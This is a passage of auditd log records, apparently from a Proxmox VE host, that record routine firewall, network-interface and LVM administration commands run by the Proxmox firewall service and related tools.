{"@timestamp":1781964595146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.146:61689): proctitle=\"iptables-save\""} {"@timestamp":1781965964805,"@rawstring":"node=pve type=PATH msg=audit(1781965964.805:67846): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.143:61688): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965964805,"@rawstring":"node=pve type=PATH msg=audit(1781965964.805:67846): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.139:61687): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965964771,"@rawstring":"node=pve type=PATH msg=audit(1781965964.771:67845): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.139:61686): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965964771,"@rawstring":"node=pve type=PATH msg=audit(1781965964.771:67845): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.139:61685): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965960987,"@rawstring":"node=pve type=PATH msg=audit(1781965960.987:67844): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595134,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.134:61684): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965960987,"@rawstring":"node=pve type=PATH msg=audit(1781965960.987:67844): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595126,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.126:61683): proctitle=\"ip6tables-save\""} {"@timestamp":1781965960987,"@rawstring":"node=pve type=PATH msg=audit(1781965960.987:67843): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595119,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.119:61682): proctitle=\"iptables-save\""} {"@timestamp":1781965960987,"@rawstring":"node=pve type=PATH msg=audit(1781965960.987:67843): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.114:61681): proctitle=69707365740073617665"} {"@timestamp":1781965960985,"@rawstring":"node=pve type=PATH msg=audit(1781965960.985:67842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595107,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.107:61680): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965960985,"@rawstring":"node=pve type=PATH msg=audit(1781965960.985:67842): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.101:61679): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965959914,"@rawstring":"node=pve type=PATH msg=audit(1781965959.914:67841): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964594.964:61678): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965959914,"@rawstring":"node=pve type=PATH msg=audit(1781965959.914:67841): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964594.964:61677): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965959914,"@rawstring":"node=pve type=PATH msg=audit(1781965959.914:67840): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964594.964:61676): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965959914,"@rawstring":"node=pve type=PATH msg=audit(1781965959.914:67839): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964594.959:61675): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965959908,"@rawstring":"node=pve type=PATH msg=audit(1781965959.908:67838): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964594.959:61674): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965959908,"@rawstring":"node=pve type=PATH msg=audit(1781965959.908:67838): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964594.959:61673): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965959908,"@rawstring":"node=pve type=PATH msg=audit(1781965959.908:67837): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594825,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964594.825:61672): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965959908,"@rawstring":"node=pve type=PATH msg=audit(1781965959.908:67836): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964594.787:61671): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965959615,"@rawstring":"node=pve type=PATH msg=audit(1781965959.615:67835): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964589.942:61670): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965959615,"@rawstring":"node=pve type=PATH msg=audit(1781965959.615:67835): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964589.942:61669): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965959615,"@rawstring":"node=pve type=PATH msg=audit(1781965959.615:67835): item=0 name=\"/usr/bin/pvesh\" inode=304825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964589.942:61668): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955585,"@rawstring":"node=pve type=PATH msg=audit(1781965955.585:67834): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964589.936:61667): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955585,"@rawstring":"node=pve type=PATH msg=audit(1781965955.585:67834): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964589.936:61666): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955582,"@rawstring":"node=pve type=PATH msg=audit(1781965955.582:67833): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964589.936:61665): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955582,"@rawstring":"node=pve type=PATH msg=audit(1781965955.582:67833): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586089,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.089:61664): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965955581,"@rawstring":"node=pve type=PATH msg=audit(1781965955.581:67832): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.085:61663): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965955581,"@rawstring":"node=pve type=PATH msg=audit(1781965955.581:67832): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.084:61662): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965955581,"@rawstring":"node=pve type=PATH msg=audit(1781965955.581:67831): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.084:61661): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965955576,"@rawstring":"node=pve type=PATH msg=audit(1781965955.576:67830): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.080:61660): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965955576,"@rawstring":"node=pve type=PATH msg=audit(1781965955.576:67830): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586074,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.074:61659): proctitle=\"ip6tables-save\""} {"@timestamp":1781965955576,"@rawstring":"node=pve type=PATH msg=audit(1781965955.576:67830): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.068:61658): proctitle=\"iptables-save\""} {"@timestamp":1781965955564,"@rawstring":"node=pve type=PATH msg=audit(1781965955.564:67829): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.062:61657): proctitle=\"ip6tables-save\""} {"@timestamp":1781965955564,"@rawstring":"node=pve type=PATH msg=audit(1781965955.564:67829): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.056:61656): proctitle=\"iptables-save\""} {"@timestamp":1781965955552,"@rawstring":"node=pve type=PATH msg=audit(1781965955.552:67828): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.052:61655): proctitle=\"ebtables-restore\""} {"@timestamp":1781965955552,"@rawstring":"node=pve type=PATH msg=audit(1781965955.552:67828): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586051,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.051:61654): proctitle=\"ebtables-restore\""} {"@timestamp":1781965955544,"@rawstring":"node=pve type=PATH msg=audit(1781965955.544:67827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586046,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.046:61653): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965955544,"@rawstring":"node=pve type=PATH msg=audit(1781965955.544:67827): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.041:61652): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965955535,"@rawstring":"node=pve type=PATH msg=audit(1781965955.535:67826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.036:61651): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965955535,"@rawstring":"node=pve type=PATH msg=audit(1781965955.535:67826): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.031:61650): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965955529,"@rawstring":"node=pve type=PATH msg=audit(1781965955.529:67824): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586026,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.026:61649): proctitle=697073657400726573746F7265"} {"@timestamp":1781965955529,"@rawstring":"node=pve type=PATH msg=audit(1781965955.529:67824): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586020,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.020:61648): proctitle=\"ip6tables-save\""} {"@timestamp":1781965955523,"@rawstring":"node=pve type=PATH msg=audit(1781965955.523:67823): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586014,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.014:61647): proctitle=\"iptables-save\""} {"@timestamp":1781965955523,"@rawstring":"node=pve type=PATH msg=audit(1781965955.523:67823): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.010:61646): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965955516,"@rawstring":"node=pve type=PATH msg=audit(1781965955.516:67822): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586007,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.007:61645): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965955516,"@rawstring":"node=pve type=PATH msg=audit(1781965955.516:67822): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586006,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.006:61644): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965955509,"@rawstring":"node=pve type=PATH msg=audit(1781965955.509:67821): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586006,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.006:61643): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965955509,"@rawstring":"node=pve type=PATH msg=audit(1781965955.509:67821): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964586.001:61642): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965955502,"@rawstring":"node=pve type=PATH msg=audit(1781965955.502:67820): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964585.996:61641): proctitle=\"ip6tables-save\""} {"@timestamp":1781965955502,"@rawstring":"node=pve type=PATH msg=audit(1781965955.502:67820): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964585.989:61640): proctitle=\"iptables-save\""} {"@timestamp":1781965955496,"@rawstring":"node=pve type=PATH msg=audit(1781965955.496:67819): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964585.984:61639): proctitle=69707365740073617665"} {"@timestamp":1781965955496,"@rawstring":"node=pve type=PATH msg=audit(1781965955.496:67819): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964585.978:61638): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965955489,"@rawstring":"node=pve type=PATH msg=audit(1781965955.489:67818): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585972,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964585.972:61637): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965955489,"@rawstring":"node=pve type=PATH msg=audit(1781965955.489:67818): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964584.930:61636): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955481,"@rawstring":"node=pve type=PATH msg=audit(1781965955.481:67817): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964584.930:61635): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955481,"@rawstring":"node=pve type=PATH msg=audit(1781965955.481:67817): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964584.930:61634): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955477,"@rawstring":"node=pve type=PATH msg=audit(1781965955.477:67816): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964584.922:61633): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955477,"@rawstring":"node=pve type=PATH msg=audit(1781965955.477:67816): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964584.922:61632): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955474,"@rawstring":"node=pve type=PATH msg=audit(1781965955.474:67815): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964584.922:61631): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955474,"@rawstring":"node=pve type=PATH msg=audit(1781965955.474:67815): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964584.697:61630): 